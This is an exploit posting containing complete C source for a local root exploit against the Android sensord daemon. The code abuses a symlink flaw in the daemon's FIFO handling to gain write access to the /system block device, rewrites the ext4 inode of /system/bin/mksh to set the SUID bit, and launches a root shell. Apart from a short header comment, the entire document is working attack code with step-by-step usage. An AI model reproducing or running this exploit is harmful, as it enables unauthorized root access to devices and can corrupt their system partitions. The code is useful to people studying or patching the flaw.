Google Android – ‘sensord’ Local Privilege Escalation
/* * Android sensord 0day root exploit by s0m3b0dy * tested on LG L7 (PL) * * * need pentests? s0m3b0dy1(at)gmail.com * * * * * * * * * * * * * * * * * * * * * * * * * * * some Android devices have sensord deamon, * for some ROMs the deamon is running as root process(there we can use this exploit) * * and *--------- * root@android:/ # strace sensord * ... * open("/data/misc/sensor/fifo_cmd", O_RDWR|O_LARGEFILE) = 12 * ... * open("/data/misc/sensor/fifo_dat", O_RDWR|O_LARGEFILE) = 13 * fchmod(12, 0666) = 0 * fchmod(13, 0666) = 0 * --------- * there is no check that the files are not links, so we can link it to eg. block device and make it rw! * exploit will set bit suid on /system/bin/mksh, need to reboot the device after step 1 and step 2 * * this exploit is dangerous, before step 1 exploit is disabling auto-rotate to not overwrite /system pertition! * * the author is not responsible for any damage * for education purpose only :) * */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <sys/mman.h> #include <dirent.h> #include <ctype.h> #define FIFO_DAT "/data/misc/sensor/fifo_dat" #define SH "/system/bin/mksh" struct ext4_super_block { /*00*/ __le32 s_inodes_count; __le32 s_blocks_count_lo; __le32 s_r_blocks_count_lo; __le32 s_free_blocks_count_lo; /*10*/ __le32 s_free_inodes_count; __le32 s_first_data_block; __le32 s_log_block_size; __le32 s_log_cluster_size; /*20*/ __le32 s_blocks_per_group; __le32 s_clusters_per_group; __le32 s_inodes_per_group; __le32 s_mtime; /*30*/ __le32 s_wtime; __le16 s_mnt_count; __le16 s_max_mnt_count; __le16 s_magic; __le16 s_state; __le16 s_errors; __le16 s_minor_rev_level; /*40*/ __le32 s_lastcheck; __le32 s_checkinterval; __le32 s_creator_os; __le32 s_rev_level; /*50*/ __le16 s_def_resuid; __le16 s_def_resgid; __le32 s_first_ino; __le16 s_inode_size; __le16 s_block_group_nr; __le32 s_feature_compat; /*60*/ __le32 s_feature_incompat; __le32 s_feature_ro_compat; /*68*/ __u8 s_uuid[16]; /*78*/ char s_volume_name[16]; /*88*/ char s_last_mounted[64]; /*C8*/ __le32 s_algorithm_usage_bitmap; __u8 s_prealloc_blocks; __u8 s_prealloc_dir_blocks; __le16 s_reserved_gdt_blocks; /*D0*/ __u8 s_journal_uuid[16]; /*E0*/ __le32 s_journal_inum; __le32 s_journal_dev; __le32 s_last_orphan; __le32 s_hash_seed[4]; __u8 s_def_hash_version; __u8 s_jnl_backup_type; __le16 s_desc_size; /*100*/ __le32 s_default_mount_opts; __le32 s_first_meta_bg; __le32 s_mkfs_time; __le32 s_jnl_blocks[17]; /*150*/ __le32 s_blocks_count_hi; __le32 s_r_blocks_count_hi; __le32 s_free_blocks_count_hi; __le16 s_min_extra_isize; __le16 s_want_extra_isize; __le32 s_flags; __le16 s_raid_stride; __le16 s_mmp_update_interval; __le64 s_mmp_block; __le32 s_raid_stripe_width; __u8 s_log_groups_per_flex; __u8 s_checksum_type; __u8 s_encryption_level; __u8 s_reserved_pad; __le64 s_kbytes_written; __le32 s_snapshot_inum; __le32 s_snapshot_id; __le64 s_snapshot_r_blocks_count; __le32 s_snapshot_list; #define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count) __le32 s_error_count; __le32 s_first_error_time; __le32 s_first_error_ino; __le64 s_first_error_block; __u8 s_first_error_func[32]; __le32 s_first_error_line; __le32 s_last_error_time; __le32 s_last_error_ino; __le32 s_last_error_line; __le64 s_last_error_block; __u8 s_last_error_func[32]; #define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts) __u8 s_mount_opts[64]; __le32 s_usr_quota_inum; __le32 s_grp_quota_inum; __le32 s_overhead_clusters; __le32 s_backup_bgs[2]; __u8 s_encrypt_algos[4]; __u8 s_encrypt_pw_salt[16]; __le32 s_lpf_ino; __le32 s_prj_quota_inum; __le32 s_checksum_seed; __le32 s_reserved[98]; __le32 s_checksum; }; struct ext4_group_desc { __le32 bg_block_bitmap_lo; __le32 bg_inode_bitmap_lo; __le32 bg_inode_table_lo; __le16 bg_free_blocks_count_lo; __le16 bg_free_inodes_count_lo; __le16 bg_used_dirs_count_lo; __le16 bg_flags; __le32 bg_exclude_bitmap_lo; __le16 bg_block_bitmap_csum_lo; __le16 bg_inode_bitmap_csum_lo; __le16 bg_itable_unused_lo; __le16 bg_checksum; __le32 bg_block_bitmap_hi; __le32 bg_inode_bitmap_hi; __le32 bg_inode_table_hi; __le16 bg_free_blocks_count_hi; __le16 bg_free_inodes_count_hi; __le16 bg_used_dirs_count_hi; __le16 bg_itable_unused_hi; __le32 bg_exclude_bitmap_hi; __le16 bg_block_bitmap_csum_hi; __le16 bg_inode_bitmap_csum_hi; __u32 bg_reserved; }; struct ext4_inode { __le16 i_mode; __le16 i_uid; __le32 i_size_lo; __le32 i_atime; __le32 i_ctime; __le32 i_mtime; __le32 i_dtime; __le16 i_gid; __le16 i_links_count; __le32 i_blocks_lo; __le32 i_flags; union { struct { __le32 l_i_version; } linux1; struct { __u32 h_i_translator; } hurd1; struct { __u32 m_i_reserved1; } masix1; } osd1; __le32 i_block[15]; __le32 i_generation; __le32 i_file_acl_lo; __le32 i_size_high; __le32 i_obso_faddr; union { struct { __le16 l_i_blocks_high; __le16 l_i_file_acl_high; __le16 l_i_uid_high; __le16 l_i_gid_high; __le16 l_i_checksum_lo; __le16 l_i_reserved; } linux2; struct { __le16 h_i_reserved1; __u16 h_i_mode_high; __u16 h_i_uid_high; __u16 h_i_gid_high; __u32 h_i_author; } hurd2; struct { __le16 h_i_reserved1; __le16 m_i_file_acl_high; __u32 m_i_reserved2[2]; } masix2; } osd2; __le16 i_extra_isize; __le16 i_checksum_hi; __le32 i_ctime_extra; __le32 i_mtime_extra; __le32 i_atime_extra; __le32 i_crtime; __le32 i_crtime_extra; __le32 i_version_hi; }; void print_usage( char ** argv) { printf("Have 3 steps. You need to reboot the device after step 1 and step 2.\n"); printf("Usage: %s 1\n", argv[0]); printf(" %s 2\n", argv[0]); printf(" %s 3\n", argv[0]); printf(" %s verify\n", argv[0]); } void get_system_dev( char *ptr, int size ) { int fd = open("/proc/mounts", O_RDONLY); int pos = 0, posend = 0, tmppos = 0; char buff[4096]; char link[1024]; memset(buff, 0, sizeof(buff)); memset(link, 0, sizeof(link)); memset(ptr, 0, size); if(fd != -1) { read(fd, &buff, sizeof(buff)); int sres = (int)strstr(buff, " /system "); if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) ) { tmppos = pos; int i=0; while( (buff[pos] != '\n') && (pos > 0) ) pos--; pos++; strncpy(link, &buff[pos], tmppos - pos); readlink(link, ptr, size); } else { printf("[-] Can't find system partition!\n"); close(fd); exit(0); } close(fd); } else { printf("[-] Can't read /proc/mounts file!\n"); exit(0); } } void first_step() { if( access(FIFO_DAT, F_OK) != -1 ) { unlink(FIFO_DAT); } char path[1024]; get_system_dev(path, sizeof(path)); symlink(path, FIFO_DAT); printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n"); } void second_step() { char path[1024]; struct stat s; unlink(FIFO_DAT); stat(SH, &s); printf("[+] Looking for inode no.: %llu\n", s.st_ino); get_system_dev(path, sizeof(path)); int fd = open(path, O_RDWR); if( fd != -1 ) { int inodeno = s.st_ino; struct ext4_super_block super; struct ext4_group_desc group_descr; struct ext4_inode inode; unsigned long int offset=0; lseek(fd, 0x400, SEEK_SET); read(fd, &super, sizeof(super)); int block_size = 1024 << super.s_log_block_size; int bg = (inodeno-1) /super.s_inodes_per_group; lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET); read(fd, &group_descr, sizeof(group_descr)); unsigned int index = (inodeno-1) % super.s_inodes_per_group; unsigned int off = index * super.s_inode_size; unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off; lseek(fd, total_offset, SEEK_SET); read(fd, &inode, sizeof(struct ext4_inode)); if(inode.i_size_lo == s.st_size) { __le16 mode = 0; printf("[+] Found inode!\n"); lseek(fd, total_offset, SEEK_SET); inode.i_mode = inode.i_mode | 0x800; int modesize = sizeof(inode.i_mode); int wr = write(fd, &inode.i_mode, modesize); if( wr == modesize ) { printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH); } else { printf("[-] Can't set bit SUID on %s\n", SH); } } else { printf("[-] Can't find inode!\n"); } close(fd); } else printf("[-] Can't open %s!\n", path); } void third_step() { char path[1024]; //chmod(SH, 4755); setuid(0); setgid(0); if(getuid() == 0) { get_system_dev(path, sizeof(path)); chmod(path, 0600); printf("[+] Rooted!\n"); system(SH); } else { printf("[-] No root here!\n"); exit(0); } } bool isSensord(char *spath) { char buff[50]; bool res = false; int fd = open(spath, O_RDONLY); if(fd != -1) { read(fd, buff, 50); if(strstr(buff, "/system/bin/sensord") != NULL) { res = true; } close(fd); } return res; } bool verify() { DIR* dir; struct dirent *entry; char spath[512]; bool res = false; struct stat s; dir = opendir("/proc"); if(dir) { while ((entry = readdir(dir)) != NULL) { if (entry->d_type == DT_DIR) { snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name); if (isSensord(spath)) { stat(spath, &s); if (s.st_uid == 0) res = true; break; } } } closedir(dir); } return res; } void disable_autorotate() { printf("[+] Disabling auto-rotate...\n"); system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0"); } int main(int argc, char **argv) { if(argc != 2) { print_usage( argv ); return 0; } if( strstr( argv[1], "1" ) != NULL) { if( verify() ) { disable_autorotate(); first_step(); //create link } else { printf("[-] It looks likey is not vulnerable!\n"); } } else if( strstr( argv[1], "2") != NULL) { second_step(); //edit ext4(/system) partition(set bit suid) } else if( strstr( argv[1], "3") != NULL) { third_step(); //get root shell } else if( strstr( argv[1], "verify") != NULL){ if( verify() ) printf("[+] Should be vulnerable!\n"); else printf("[-] Not vulnerable!\n"); } else{ print_usage( argv ); } return 0; } |